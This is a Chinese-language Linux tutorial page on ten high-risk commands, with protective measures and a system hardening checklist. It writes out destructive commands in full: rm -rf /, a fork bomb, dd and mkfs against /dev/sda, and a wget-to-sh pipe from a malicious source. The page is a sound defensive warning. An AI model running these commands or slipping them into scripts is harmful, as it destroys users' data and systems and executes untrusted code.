萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 作業系統 >  >> Linux 教學

Linux 高危指令黑名單:rm -rf、Fork 炸彈、dd 毀盤... 這些指令請三思而後行

Linux 指令威力強大,但一失足成千古恨。本文整理 10 大高危指令,解析破壞原理與預防對策,建立「執行前先確認」的肌肉記憶。

十大高危指令詳解

1. rm -rf / / rm -rf * — 核彈級刪除

  • 破壞力:遞迴強制刪除根目錄或當前目錄所有檔案,系統直接報廢
  • 防護:alias rm='rm -i' (多數發行版預設)、重要目錄 chattr +i、備份、快照、ZFS/Btrfs 子卷

2. :(){ :|:& };: — Fork 炸彈

  • 原理:定義函數 : 遞迴呼叫自己兩次 (前景+背景),指數級產生進程耗盡 PID/記憶體
  • 防護:ulimit -u 1000 限制用戶最大進程數、systemd DefaultTasksMax、cgroups 限制

3. command > /dev/sda — 直接寫入區塊裝置

  • 破壞力:覆寫磁碟前幾 MB (MBR/GPT、分區表、檔案系統超級區塊),資料全毀
  • 防護:絕不重導向至 /dev/sd*、/dev/nvme*、/dev/mapper/*

4. mv 目錄 /dev/null — 丟入黑洞

  • 破壞力:資料移至 /dev/null 即消失,雖可嘗試資料救援但極困難
  • 防護:alias mv='mv -i'、重要資料異地備份

5. wget https://惡意來源 -O- | sh — 盲目執行遠端腳本

  • 風險:下載並立即執行不可信代碼,相當於把 root 權限拱手相讓
  • 原則:先下載、再審閱、再執行,驗證簽名/校驗和

6. mkfs.ext4 /dev/sda — 格式化整顆磁碟

  • 破壞力:建立新檔案系統,原資料超級區塊被覆寫,極難復原
  • 防護:確認裝置路徑、使用 lsblk blkid 核對、LVM 快照

7. > 重要設定檔 — 清空/覆寫檔案

  • 風險:> 會截斷檔案,>> 才是追加
  • 習慣:cp config.conf config.conf.bak 先備份

8. ^foo^bar — 歷史指令快速替換執行

  • 風險:未仔細檢查替換結果就執行,可能產生非預期指令
  • 建議:改用 fc 編輯歷史指令或直接重打

9. dd if=/dev/urandom of=/dev/sda — 軍規級抹除

  • 用途:報廢磁碟前安全抹除 (多次覆寫)
  • 風險:誤指定裝置 = 徹底毀滅

10. 十六進位隱藏惡意代碼

  • 原理:將 rm -rf / 等編碼為 Shellcode 嵌入 C 程式,誘騙編譯執行
  • 鐵律:絕不編譯/執行未知來源代碼,容器/虛擬機隔離測試

高危指令警示圖

系統級防護清單

  1. 生產環境嚴禁 root 直接登入,sudo + 最小權限
  2. 關鍵目錄 chattr +i、ZFS 快照自動化
  3. /etc/security/limits.conf 限制 nproc、nofile
  4. 審計系統 auditd 記錄關鍵指令
  5. 異地備份 + 定期演練災難恢復

敬畏命令列,每一次 Enter 前都問自己:「我確定嗎?有備份嗎?能復原嗎?」

copyright © 萬盛學電腦網 all rights reserved